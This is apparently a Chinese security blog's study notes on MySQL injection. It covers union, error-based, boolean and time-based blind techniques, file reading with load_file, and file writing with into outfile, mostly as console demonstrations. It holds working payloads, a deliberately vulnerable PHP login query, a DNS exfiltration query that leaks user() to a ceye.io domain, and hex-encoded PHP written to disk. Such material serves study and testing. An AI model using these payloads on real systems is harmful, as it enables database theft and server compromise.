SQL专栏之常见注入备忘


layout: post
title: SQL专栏
category: Vulnerability_mining
tags: SQL
keywords: mysql,注入

前言

xxxxx

开始

分类

先对sql注入的类型进行分类,大体我分为两类,一类是能够直观的看到数据库返回的信息,另一类是不能直观的看到,但是能够通过数据库执行的语句产生的信息不对称推测出信息。前者可以分为union、报错,后者分为时间、布
尔注入。期间会穿插放入一些小ticks,为了更有效率的接触数据库。

1 union注入

1.1 union select

union注入又称联合查询注入,这是sql注入中最为常见也是最容易利用的一个注入方式,其原理在于union可以填充查询的结果,进行一次额外的查询,例如:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NWRrneCR-1611628250723)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/mysql1.png)]
这也是联合查询的作用,用于及那个不同表中的数据联合查询并输出在同一个表中。这里你必须知道语句联合之前查询的字段数,否则会报错。在进行查询的时候实际上是先建立了一个虚拟的表单,然后通过查询进行填入,如果联合查询的字段不对,则会报错为SELECT statements have a different number of columns,例如:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RAc8MYtt-1611628250724)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/mysql2.png)]

1.2 order by

如何知道正常的查询的字段数呢,可以使用order by
order by的关键字功能是对结果进行默认的升序排列,可以使用DESC关键字进行降序
mysql的官方文档是这样写的:

select_expr [, select_expr …] [FROM table_references 
 [WHERE where_condition] 
 [GROUP BY {col_name | expr | position} [ASC | DESC], … [WITH ROLLUP]] [HAVING where_condition] 
 [ORDER BY {col_name | expr | position} [ASC | DESC], …]

可以看到position翻译成位置,如果后面输入的是数字n,则会按照前面的第n个字段进行排序,如果查询没有第n个字段就会报错,例如:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Y13ME6gJ-1611628250726)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/mysql3.png)]
所以根据这个特性就可以知道字段数,在实际应用中的正确操作类似于这样的操作去找显示位:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z1wOzo05-1611628250727)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/huozhongweb1.png)]
然后根据能够得到的显示为比如,15个位置能够显示1,3,5的位置,就能够去查询数据放到对应的显示位就行了。

1.3 错误的后端代码

以上谈的是针对于简单有回显的查询,那么后端的代码一般会怎么写呢,类似于:

$user = $_POST['user'];
$pwd = $_POST['pwd']
$query = "select * from admin where username ='".$user."'"."and pass ='".$pwd."'";
mysql_query($mysql);

2 报错注入

参考https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html
对于报错注入,不同于联合查询这样的方式直接查询到结果返回查询字段,通过人为的制造错误条件利用数据库的机制将查询结果放在错误信息中输出出来。依据报错的特性,我们可以总结成下面几个特性,包括但不限于数据类型溢出,xpath语法错误,主键重复,else

2.1 数据类型溢出报错

官方文档
5.5的官方文档中加了这样的一个说明,数值表达式求值过程中的溢出会导致错误。例如,最大签名 BIGINT值为9223372036854775807,因此以下表达式会产生错误:

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

这里在range in后面会给出错误的信息。

2.1.1 ~0 and !

而mysql可以使用逻辑运算符和运算符,所以我们可以按位取反就能得到最大的int

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

如果是一个成功的查询,返回值是0,使用非运算能计算成1,如:

mysql> select !(select user());
+------------------+
| !(select user()) |
+------------------+
|                1 |
+------------------+
1 row in set (0.00 sec)

那么我们可以结合这两个特性:

mysql> select !(select user())+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value  is out of range in '((not('root@localhost')) - ~(0))'

或者使用mysql的exp函数(计算e的幂),例如:

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

这样结合如上的特性,能够得到报错出来的信息,但是我在自己的vps进行测试的时候是没有成功的:

mysql> select ~(select * from (select user())a)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~((select `a`.`user()` from (select user())) + 1)'

即在mysql>5.5.53时是不能返回查询的结果。

2.1.2 报错的信息限制

因为报错信息会存在一些限制,这里我们需要知道如何去查看这个错误信息的配置,例如:

root@VM-0-14-ubuntu:/usr/local# which mysqld
/usr/sbin/mysqld

但是很遗憾,我们想要的mysql的头文件不在这个地方而是在cd /usr/include/mysql这个文件夹下面。没找到,代办。例如:

/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */
#define ERRMSGSIZE (512)

2.2 xpath语法错误

关于xpath语法错误需要记住两个点,主要在mysql5.1.5之后提供了两个xml查询和修改的函数,关于网上说又十个报错注入的函数,实际上大部分能用到的都是旧版本并且在新版本上已经废除的函数了,这里重点说两个官方文档extractvalue和updatexml,两个函数具体功能如下:

如下函数的tips

报错的信息只能返回32位,所以在使用查找一些超过32位的时候,需要使用substring(‘string’,0,31)这样的截取函数进行截取输出。

2.2.1 extractvalue

这个函数的作用可以简单的在本地做个例子:

mysql> SELECT ExtractValue('cccddd', '/a') AS val1;
+------+
| val1 |
+------+
| ccc  |
+------+
1 row in set (0.00 sec)

再比如:

mysql> select ExtractValue('cccddd', '/a/b') AS val2;
+------+
| val2 |
+------+
| ddd  |
+------+
1 row in set (0.00 sec)

则我们可以知道extractvalue的函数作用就是查找参数二提供的标签中参数一xml片段的元素,而如果这里输入的参数有误,那么会出现什么呢?例如:

mysql> select extractvalue(1, concat(0x5c,(database())));
ERROR 1105 (HY000): XPATH syntax error: '\mysql'
mysql> select extractvalue(1, concat(0x5c,(user())));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

如果再往底层走,就是跟他对错误机制的处理有关了,这里先不做讨论,留个白。

2.2.2 updatexml

函数的作用域extractvalue相似,这里主要做的是更新操作,其第二个参数接受的xpath语法,具体的语法是updatexml(目标xml文档,xml路径,更新的内容),其报错用法

mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.23-0ubuntu0.16.04.1~'

2.3 主键重复

关于主键重复的问题导致报错研究了挺久。
先给出报错的payload,然后一层一层来:

mysql> select count(*) from user group by concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'mysql1' for key ''

2.3.1 rand

我们来看看rand函数,例如:

mysql> select rand() from user;
+---------------------+
| rand()              |
+---------------------+
|  0.9860067721325967 |
|  0.8649036091425489 |
|  0.3664977600485997 |
| 0.23777800354899653 |
+---------------------+
4 rows in set (0.00 sec)
mysql> select rand() from user;
+---------------------+
| rand()              |
+---------------------+
| 0.08939676833282856 |
|  0.7336498617507982 |
|  0.4000590344891502 |
|  0.7993456179270014 |
+---------------------+
4 rows in set (0.00 sec)

其作用生成一串随机数,每次随机的数都不一样,那么rand(0),例如:

mysql> select rand(0) from user;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
| 0.33109208227236947 |
+---------------------+
4 rows in set (0.00 sec)

mysql> select rand(0) from user;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
| 0.33109208227236947 |
+---------------------+
4 rows in set (0.00 sec)

这时候你就会发现,rand(0)每次产生的序列都相同,也就是加了固定的种子每次查询都是相同的序列。

2.3.2 floor

关于floor函数,就是向下取整的函数,例如:

mysql> select floor(1.33);
+-------------+
| floor(1.33) |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)

那么我们来看看payload中的floor(rand(0)*2)是什么,按照上面的说法,应该是一串固定的队列。果然

mysql> select floor(rand(0)*2) from user;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
4 rows in set (0.00 sec)

mysql> select floor(rand(0)*2) from user;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+

是一串固定的011011…(因为我这里的user表只有四列,所以后面的序列看不见,其实后面的序列就是011011)

2.3.3 count(*) group by

关于count(*) group by something的过程实际上是建立一个虚表, 然后开始查询grop by的内容,如果不存在,则插入key,value+1,如果存在则直接在对应的key上value+1,这里有个很关键的一点,也就是这里的主键重复的最关键的地方,当查询的虚表中不存在key,mysql会再执行一次查询语句再插入key,但是根据我们的payloadselect count(*) from user group by concat(database(),floor(rand(0)*2));再执行一次的时候floor和rand也会再执行一次,这就导致了前一次和后一次查询的结果不一致,一步一步来。

  1. 第一次查询,查询到0,虚表中不存在,准备插入之前,在执行一次,这次查到的不是0,这次查到了1,所以,虚表中为:
| key    | value  |
| ------ | ------ | 
| 1      | 1      |  
  1. 第二次查询,其实这应该是第三次了,查到的应该是1,发现存在,这时候不需要再查,直接插入,变成了。
| key    | value  |
| ------ | ------ | 
| 1      | 1+1    |  
  1. 第三次查询,这应该是第四次了。查到的结果应该是0,虚表中不存在,在进行一次查询,应该是第五次,这次查到1,这时候应该把1插入,可是这时候已经有key=1了,所以报错了,也就是说,rand(0)2 + count()
    至此关于报错注入的第三个部分,主键重复应该是讲的差不多了,那么我们来思考,还有什么更加深入东西可以挖掘。这里留个白。

3 盲注

这里我把时间和布尔盲注放在一起了,我认为这中注入的方式都是执行了但是没有回显,通过两种不同的方式讲执行的结果猜测出来。两种方式较上面的方式呢效率会比较低毕竟是通过对错和时间来判断而非直观的查看到结果。这两种解决问题的方式呢注定了要通过逐个爆破,所以效率很低,而且在时间盲注里面更有网速这样的限制,但是个人认为在做一些大规模的扫描的时候,盲注反而会比上面的检测的效果更好而且检测手段更加简单。因为关于检测的问题我们不需要得到很完整的信息,我们只需要一个yes or no的判断,也正是盲注的特点。

3.1 布尔盲注

关于布尔盲注,只需要考虑yes or no 的问题,所以在布尔盲注中要合理的利用比较,< >,所以换句话说要合理的利用截取的字符,在mysql中是可以进行字符之间的比较的,比较的值是通过ascii值进行比较的,所以我下面介绍一些函数能够完成上面这一思路的函数。

3.1.1 left

left(a,b),从左侧开始截取a的前b位,我们可以这么用: left(database(),1) > "m"

mysql> select left(version(),1);
+-------------------+
| left(version(),1) |
+-------------------+
| 5                 |
+-------------------+

3.1.2 substr

substr(a,b,c),从b开始截取a的c位,我们可以这么用: substr(version(),1,1) > "s"

mysql> select substr(version(),1,20);
+------------------------+
| substr(version(),1,20) |
+------------------------+
| 5.7.23-0ubuntu0.16.0   |
+------------------------+

3.1.3 mid

mid(a,b,c),从b开始截取a的c位,我们可以这么用: mid(version(),1,1) > "s",用法和substr完全相同

mysql> select mid(version(),1,1);
+--------------------+
| mid(version(),1,1) |
+--------------------+
| 5                  |
+--------------------+
1 row in set (0.00 sec)

3.1.4 regexp

regexp 函数是将查询结果进行正则匹配,如果匹配成功返回1,匹配失败返回0。例如:

mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select user() regexp '^r';
+--------------------+
| user() regexp '^r' |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)

mysql> select user() regexp '^a';
+--------------------+
| user() regexp '^a' |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.00 sec)

^r是指以r开头
这里思考仅仅是返回 1和0还不是true和false,这里可以利用相等例如:1=(select user() regexp '^a')这样可以造成true or false。

3.1.5 like

like,模糊查询,值得一提,很多情况下都需要用到。跟like紧密相连的就是通配符’%'了

  • %
    例如:
mysql> select * from user where User like '%a';
Empty set (0.00 sec)

User中有没有以a开头的字段,这里我查询的就是空的。其中%是匹配多个字符,可以中间可以放结尾。

  • _
    例如:
mysql> select * from user where User like '_a';
Empty set (0.00 sec)

_也是通配符,可以放在任何位置,但是只能匹配一个字符,这是与%不同的地方。

那么这里我们如何利用like去制造布尔盲注呢,例如:

mysql> select user() like "r%";
+------------------+
| user() like "r%" |
+------------------+
|                1 |
+------------------+
1 row in set (0.00 sec)

mysql> select user() like "a%";
+------------------+
| user() like "a%" |
+------------------+
|                0 |
+------------------+
1 row in set (0.00 sec)

同样存在模糊匹配的方式,造成返回值的0与1。

3.1.6 一些其他的函数(Lpad,Rpad,Substring,Ascii)

例如:

mysql> select Lpad(version(),1,1);
+---------------------+
| Lpad(version(),1,1) |
+---------------------+
| 5                   |
+---------------------+
1 row in set (0.00 sec)

mysql> select Rpad(version(),1,1);
+---------------------+
| Rpad(version(),1,1) |
+---------------------+
| 5                   |
+---------------------+
1 row in set (0.00 sec)

关于ascii函数有一点可以提一下,就是在ASCII内部可以加入空格,在有的waf过滤不充分的情况下可以绕过。例如:

mysql> select Ascii('a');
+------------+
| Ascii('a') |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)

mysql> select Ascii('a    ');
+----------------+
| Ascii('a    ') |
+----------------+
|             97 |
+----------------+
1 row in set (0.00 sec)

3.1.7 分析思考

关于布尔查询的函数分析大概就这么多,如果还有此后可以添加,但是思路都离不开0,1。
那么针对于上述的几个函数各有什么问题呢?在我看来,后两个根据匹配规则,一个是正则,一个是模糊查询,我们知道正则匹配如果没有合理的利用的话实际上是一个很消耗资源的用法,而模糊查询也是这样的道理,在匹配的内容越来越长的时候使用的效果越不好,所以可以认为regexp 和 like在不得已的情况下可以不使用,当然如果你只是为了拿flag这我觉得没什么问题。关于正则匹配的问题,还存在一些redos正则匹配攻击,也是在写这篇文章的时候遗留下来的问题,先留个白。https://swtch.com/~rsc/regexp/regexp1.html

3.2 时间盲注

关于时间盲注,则需要充分利用执行语句造成时间上的差异性,才能造成我们判断的依据。

3.2.1 sleep

最常见的就是sleep函数了,例如:

mysql> select user from user where if(1=1 ,sleep(2), 1) limit 1;
Empty set (8.00 sec)

mysql> select user from user where if(1=2 ,sleep(2), 1);
+------------------+
| user             |
+------------------+
| debian-sys-maint |
| mysql.session    |
| mysql.sys        |
| root             |
+------------------+
4 rows in set (0.00 sec)

mysql> select * from user where user = 'root' and if(ascii(substr(database(),1,1))>115,1,sleep(3));
Empty set (3.00 sec)

这里简单的介绍一下if,虽然直接看上面就能理解,还是简单的提一下if(1,2,3):如果1真,则执行2,否则执行3

3.2.2 benchmark

Benchmark(x,1):执行表达式1,x次

mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.80 sec)

上面这两种算是最为常见也是最好利用的两个函数了。下面介绍一些不常见但是在某种情况下也能发挥效果的tips.

3.2.3 笛卡尔积(多表联合查询)

网上有很多关于笛卡尔积的解释,实际上最贴切的应该就是他的原理-多表联合查询,简单的解释就是如果我要查询两个表,例如select * from A , B, mysql在进行查询的时候是先建立虚表,上面有提到,这个虚表的内容就是A * B,意思就是A1B1,A1B2,A1B3.....,A1Bn,A2B1,.....AnBn,所以,如果两个表数据量很大,那么实际上是很消耗资源的,如果不是两个表,是三个,四个,则会造成更大的资源消耗,例如:

mysql> SELECT count(*) FROM information_schema.columns A;
+----------+
| count(*) |
+----------+
|     3077 |
+----------+
1 row in set (0.04 sec)

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
+----------+
| count(*) |
+----------+
|  9467929 |
+----------+
1 row in set (0.50 sec)

我们可以看到计算出来的结果是3077^2也就印证了上面的结论,而实际上这也是笛卡尔积的payload,我们能看到延时发生了,数据库用了0.5s,那么如果是三个表单呢。

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B ,information_schema.columns C ;

我等了十分钟没等下去,懒得等了,实际上三个表联合查询的数据量就已经上亿了,所以还是很可观的。
当然多表联合查询,实际上也能联合表,联合库的嘛,例如:

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B ,information_schema.SCHEMATA C ;
+----------+
| count(*) |
+----------+
| 47339645 |
+----------+
1 row in set (2.85 sec)

个人认为这样的方式还算ok,实际上也能联合表,但是控制在10s之内就很ok了。

3.2.4 get_lock 变量锁

基于mysql的get_lock函数能够造成延时的效果,但是也有诸多的条件,这里也一一解答。

3.2.4.1 mysql_connect and mysql_pconnect

客户端与数据库建立连接的过程是分为两种,一种是mysql_connect,短连接,即在创建连接进行数据操作之后,即关闭连接,另一种是mysql_pconnect,即会长久的保持连接尽管客户端的脚本结束了。这与我们下面要提到的get_lock有很大的关系

回到get_lock
官方文档如此说道:

GET_LOCK(str,timeout)

Tries
to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.

意思就是get_lock可以将某变量锁定在一个session也就是一个客户端,我们来看看效果。首先打开一个客户端:

mysql> select get_lock('HWHXY',5);
+---------------------+
| get_lock('HWHXY',5) |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.02 sec)

ok,我们已经在客户端1HWHXY这个变量锁定了,然后我们去客户端2看看。

mysql>  select get_lock('HWHXY',5);
+---------------------+
| get_lock('HWHXY',5) |
+---------------------+
|                   0 |
+---------------------+
1 row in set (5.00 sec)

mysql>  select get_lock('HWHXY',2);
+---------------------+
| get_lock('HWHXY',2) |
+---------------------+
|                   0 |
+---------------------+
1 row in set (2.00 sec)

发现能够执行类似于sleep的操作了,而在本客户端我们发现依旧是正常的操作HWHXY变量。

mysql> select get_lock('HWHXY',5);
+---------------------+
| get_lock('HWHXY',5) |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.02 sec)

mysql> select get_lock('HWHXY',5);
+---------------------+
| get_lock('HWHXY',5) |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

那么我们如果关闭客户端1,那么再看看看客户端2:

mysql>  select get_lock('HWHXY',2);
+---------------------+
| get_lock('HWHXY',2) |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

发现锁解除了,也就是说,get_lock造成的变量锁实际上要在一个固定连接的客户端上长久的锁住,才能造成其他的客户端延时的效果,如果连接断开,变量锁也就自动的解除了。

所以我们可以得出这样的结论

1. 后端建立连接需要mysql_pconnect.
2. 利用需要变换客户端,也就是变换session进行访问。

3.2.5 大正则匹配(类似于正则dos)

emm,怎么说,其实不是很想在服务器上试orz,给出大佬博客吧,特定的场合在看看,实在没办法可以考虑。
https://www.cdxy.me/?p=789

4 深入的利用

sql注入还远不止这些,必须要学会一些更加深入更加细节的东西,才能得到更多的信息。

4.1 文件读写

sql注入不仅可以读取数据库的数据还可以读取关键性的文件,这就让sql注入上了一个台阶了。

4.1.1 load_file

例如mysql中的LOADFILE函数,其本身的意思就是读取本地文件的意思。其用法为:LOAD_FILE (file_name)

官方文档中是这么解释的:

读取文件并以字符串形式返回文件内容。要使用此功能,文件必须位于服务器主机上,您必须指定文件的完整路径名,并且您必须具有该FILE权限。该文件必须可由所有人读取,其大小必须小于 max_allowed_packet字节。如果secure_file_priv系统变量设置为非空目录名,则要加载的文件必须位于该目录中如果文件不存在或由于不满足上述条件之一而无法读取,则函数返回NULL。

我们必须要关注到文档中说的一些细节,一个是读的权限,一个是max_allowed_packet,一个是secure_file_priv

4.1.1.1 max_allowed_packet

信息缓冲区允许接受的最大字节,官方文档上的数字是67108864字节(>= 8.0.3),4194304 ( <= 4194304) 大约是十倍以上的关系。虽然目前来说接触到这个细节的可能性不多,但是也提一下,说不定能结合日后的某些特性搞搞事情。

4.1.1.2 secure_file_priv

与上面的选项相同的是,这都是系统配置,可以使用SHOW GLOBAL VARIABLES
这可以理解为一个安全的配置,可以先来看看如何查看这个配置选项。我们需要在配置中模糊查询到secure的选项,例如:

mysql> SHOW GLOBAL VARIABLES LIKE '%secure%';
+--------------------------+-----------------------+
| Variable_name            | Value                 |
+--------------------------+-----------------------+
| require_secure_transport | OFF                   |
| secure_auth              | ON                    |
| secure_file_priv         | /var/lib/mysql-files/ |
+--------------------------+-----------------------+
3 rows in set (0.00 sec)

也就是和安全选项相关联的,简单的介绍每个选项

  • require_secure_transport , 安全通道,字面意思,开启则只允许使用ssl传输
  • secure_auth,在MySQL 8.0.3中删除了此系统变量,留个白。

secure_file_priv表示如果设置为目录名称,则服务器会将导入和导出操作限制为仅适用于该目录中的文件。目录必须存在; 服务器不会创建它。其选项存在三种,分别是:

1. empty
2. null
3. file path

各选项的意思好理解,这里不再赘述。

也就是说我在自己的vps上配置上是将数据的导入导出限制在/var/lib/mysql-files/这个文件夹下面。
而我本人并未在此前设置过,也就说这个目录是默认选项。而根据官方文档,也是给出了这样的表格:

+--------------------------+-----------------------------------------+
| 平台                   | 默认的secure_file_priv                     |
+--------------------------+-----------------------------------------+
| STANDALONE,WIN        | 空                                         |
| DEB,RPM,SLES,SVR4      | /var/lib/mysql-files                      |
| 除此以外                | mysql-files在CMAKE_INSTALL_PREFIX价值之下  |
+--------------------------+------------------------------------------+

这里我们可以注意到windows系统下,对于secure_file_priv的选项默认是空的。
这里我们在本地测试一下与上面我在vps上查看的做对比:

mysql> SHOW GLOBAL VARIABLES LIKE '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+
2 rows in set (0.00 sec)

可以发现是null选项,那么根据上面说的,必然是无法进行文件读取

mysql> select load_file('C:/Windows/win.ini');
+---------------------------------+
| load_file('C:/Windows/win.ini') |
+---------------------------------+
| NULL                            |
+---------------------------------+
1 row in set (0.00 sec)

但是在官方文档中说这个选项在win下面应该是empty才对,而我mysqlphpstudy集成的,所以我将其归结成phpstudy的问题.插入一段: 那么我们来思考一下,phpstudy是如何做到的,或者说安全配置的选项如何修改呢?

4.1.1.3 修改安全配置选项

说来简单,关于配置,分两种情况,一种是动态变量,可以直接通过set命令进行配置,一种是静态变量,需要手动在my.cnf文件里更改,win下面配置文件夹是my.ini在什么地方自己去找吧。
例如:

[mysqld]
secure_file_priv = ''

然后我们再来查看一下win下的配置(静态的搜索需要重启mysql环境)

mysql> SHOW GLOBAL VARIABLES LIKE '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.00 sec)

已经变成了empty

那么我们现在来读文件试试,发现已经可以任意文件读取了。

mysql> select load_file('c:/Windows/win.ini');
+----------------------------------------------------------------------------------------------+
| load_file('c:/Windows/win.ini')                                                              |
+----------------------------------------------------------------------------------------------+
| ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
 |
+----------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

4.1.2 dnslog和load_file的火花

那么我们来做更进一步的思考,如果是盲注呢,我们能如何利用,针对于没有回显的sql注入,可以采用load_file + dnslog的攻击方式,例如:

mysql> SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.o3t021.ceye.io\\abc'));
+-----------------------------------------------------------------------------+
| LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.o3t021.ceye.io\\abc')) |
+-----------------------------------------------------------------------------+
| NULL                                                                        |
+-----------------------------------------------------------------------------+
1 row in set (22.25 sec)

这时候我的ceye.io接收到的就是

5277266726F6F74406C6F63616C686F7374.mysql.o3t021.ceye.io173.194.93.102018-10-03 13:08:51
5277265726F6F74406C6F63616C686F7374.mysql.o3t021.ceye.io114.255.40.1092018-10-03 13:08:50
5277264726F6F74406C6F63616C686F7374.mysql.o3t021.ceye.io60.215.138.1602018-10-03 13:08:48
5277263726F6F74406C6F63616C686F7374.mysql.o3t021.ceye.io202.106.195.902018-10-03 13:08:48
5277262726F6F74406C6F63616C686F7374.mysql.o3t021.ceye.io202.106.195.892018-10-03 13:08:48

接受到的数据进行hex之后的样子,这里为什么要用hex,因为在传输过程中有可能会有特殊字符,特殊字符进行域名的传输是无法进行dns查询的,这也是为什么要进行hex编码。如果没有继续进行hex编码则会失败,例如上面的user()中应该存在@这样的特殊字符。

4.1.2.1 UNC路径

上面的火花碰撞起来,只能在windows上终结了,linux无法进行dnslog攻击,实际上windows能够利用dnslog也是根据windows的一些特性,这个特性叫做unc。关于unc的解释如:

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

所以最后实际上是拼接成了访问网络共享文件的路径。所以一开始使用的是’\\’。

4.1.3 smb通道下的load_file

还有一种是基于smb通道的load_file 利用方式 如:select load_file('//ecma.io/1.txt')暂时留个白

4.1.4 isnull与load_file的火花

我们的原则是在利用信息上做到最大化的利用。在load_file遇到不存在文件的时候会返回NULL,而isnull(null) == 1,否则返回0,例如:

mysql> select load_file('D:/2.php');
+-----------------------------------------------------+
| load_file('D:/2.php')                               |
+-----------------------------------------------------+
| big5_chinese_ci     big5    1       Yes     Yes     1
 |
+-----------------------------------------------------+
1 row in set (0.00 sec)

mysql> select load_file('D:/1.php');
+-----------------------+
| load_file('D:/1.php') |
+-----------------------+
| NULL                  |
+-----------------------+
1 row in set (0.00 sec)

mysql> select isnull(load_file('D:/2.php'));
+-------------------------------+
| isnull(load_file('D:/2.php')) |
+-------------------------------+
|                             0 |
+-------------------------------+
1 row in set (0.00 sec)

mysql> select isnull(load_file('D:/1.php'));
+-------------------------------+
| isnull(load_file('D:/1.php')) |
+-------------------------------+
|                             1 |
+-------------------------------+
1 row in set (0.00 sec)

然后我们就可以根据返回的0,1来判断文件是否存在了,这种方法实际上是建立在load_file的基础上的,我个人认为在进行文件存在的判断的话,你可以根据返回更少的值就能进行判断,这点上还是很舒服的。

4.2 文件写

然后提到到了文件读,就要提文件写了。

4.2.1 into outfile

关于写文件,就要用到into这个关键字了,但是前提和之前进行文件读是相同的必须要有file权限才行,而且secure_file_priv如果非空,则必须在该文件夹下进行写操作,第三点就是该文件必须要不存在,mysql在进行写操作的时候是不允许覆盖的。本地测试一下:

第一步当然是查看一下file选项
mysql> show global variables like "%secure%";
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.00 sec)
mysql> select '' into outfile 'D:/1.php';
Query OK, 1 row affected (0.00 sec)

这时候我们来查看一下,使用mysql直接查看吧!可以看到已经成功的写入了。

mysql> select load_file('D:/1.php');
+-----------------------+
| load_file('D:/1.php') |
+-----------------------+
| 
   |
+-----------------------+
1 row in set (0.09 sec)

那么如果我们再对1.php进行写操作呢?则会提示文件已经存在,也就验证了前面的说法不能覆盖写入。

mysql> select '' into outfile 'D:/1.php';
ERROR 1086 (HY000): File 'D:/1.php' already exists

这里默认是写入的一行,那么如果我们返回的结果有多行呢?,例如:

mysql> ;select * from user into outfile "D:/2.php";
ERROR:
No query specified

Query OK, 3 rows affected (0.00 sec)

多行结果也能写入并且自动格式化了。这里是为了区别于下面的dumpfile.

4.2.2 into dumpfile

outfile相同的是,它同样可以写入,但是不同的是,每次将得到的结果只以1行写入,并且经过实际的测试,发现对于多行结果,最多能拼接2行写入,例如:

mysql> select * from user into dumpfile 'D:/3.php';
ERROR 1172 (42000): Result consisted of more than one row

mysql> select load_file('D:/3.php');
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| load_file('D:/3.php')                                                                                                                                                          |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| localhostroot*81F5E21E35407D884A6CD4A731AEBFB6AF209E1BYYYYYYYYYYYYYYYYYYYYYYYYYYYYY0000127.0.0.1root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1BYYYYYYYYYYYYYYYYYYYYYYYYYYYYY0000 |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

我的user表里面有三行的结果,实际上dumpfile入了两行的结果,所以在使用文件写入的时候,建议使用limit字段限制返回的结果数否则会造成数据丢失或者写shell失败。

4.2.3 写入的拼接操作

关于写入还有些查询结果的拼接操作,个人认为用处不大,如果已经能够控制into outfile为什么还要多此一举,不过也算是一个特性,都尝试尝试,见见世面。

4.2.3.1 FIELDS TERMINATED BY

例如:

mysql> select * from COLLATIONS limit 1 into outfile 'D:/2.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected (0.00 sec)

mysql> select load_file('D:/2.php');
+------------------------------------------------------------------------------------------------------------------------+
| load_file('D:/2.php')                                                                                                  |
+------------------------------------------------------------------------------------------------------------------------+
| big5_chinese_cibig51YesYes1
 |
+------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

FIELDS TERMINATED BY的作用就是在每个查询的column后面追加一段后缀。

4.2.3.2 LINES TERMINATED BY

例如:

mysql> select * from COLLATIONS limit 1 into outfile 'D:/2.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected (0.00 sec)

mysql> select load_file('D:/2.php');
+----------------------------------------------------+
| load_file('D:/2.php')                              |
+----------------------------------------------------+
| big5_chinese_ci       big5    1       Yes     Yes     1 |
+----------------------------------------------------+
1 row in set (0.00 sec)

LINES TERMINATED BY的作用是在每个查询的行后面追加内容,看上去比FIELDS靠谱。

4.2.3.3 LINES STARTING BY

例如:

mysql> select * from COLLATIONS limit 1 into outfile 'D:/2.php' LINES STARTING BY 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected (0.04 sec)

mysql> select load_file('D:/2.php');
+-----------------------------------------------------+
| load_file('D:/2.php')                               |
+-----------------------------------------------------+
| big5_chinese_ci     big5    1       Yes     Yes     1
 |
+-----------------------------------------------------+
1 row in set (0.00 sec)

LINES STARTING BY可以发现增加的是前缀,好像更加靠谱了。

4.2.4 写日志(10.9补充)

